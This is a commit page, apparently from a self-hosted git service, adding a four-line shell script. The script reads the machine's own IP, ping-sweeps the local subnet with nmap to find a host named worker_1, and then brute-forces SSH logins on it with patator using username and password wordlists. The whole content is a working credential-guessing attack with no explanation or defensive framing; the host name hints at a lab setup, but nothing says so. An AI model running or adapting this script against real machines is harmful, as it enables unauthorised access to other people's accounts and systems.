AndreasNefeli
4 years ago
1 changed files with 4 additions and 0 deletions
@ -0,0 +1,4 @@ |
|||
my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}') |
|||
network=$(echo $my_ip | sed 's/.[0-9]$/.*/') |
|||
worker=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') |
|||
patator ssh_login host=$worker user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt -x ignore:mesg='Authentication failed.' |
Loading…
Reference in new issue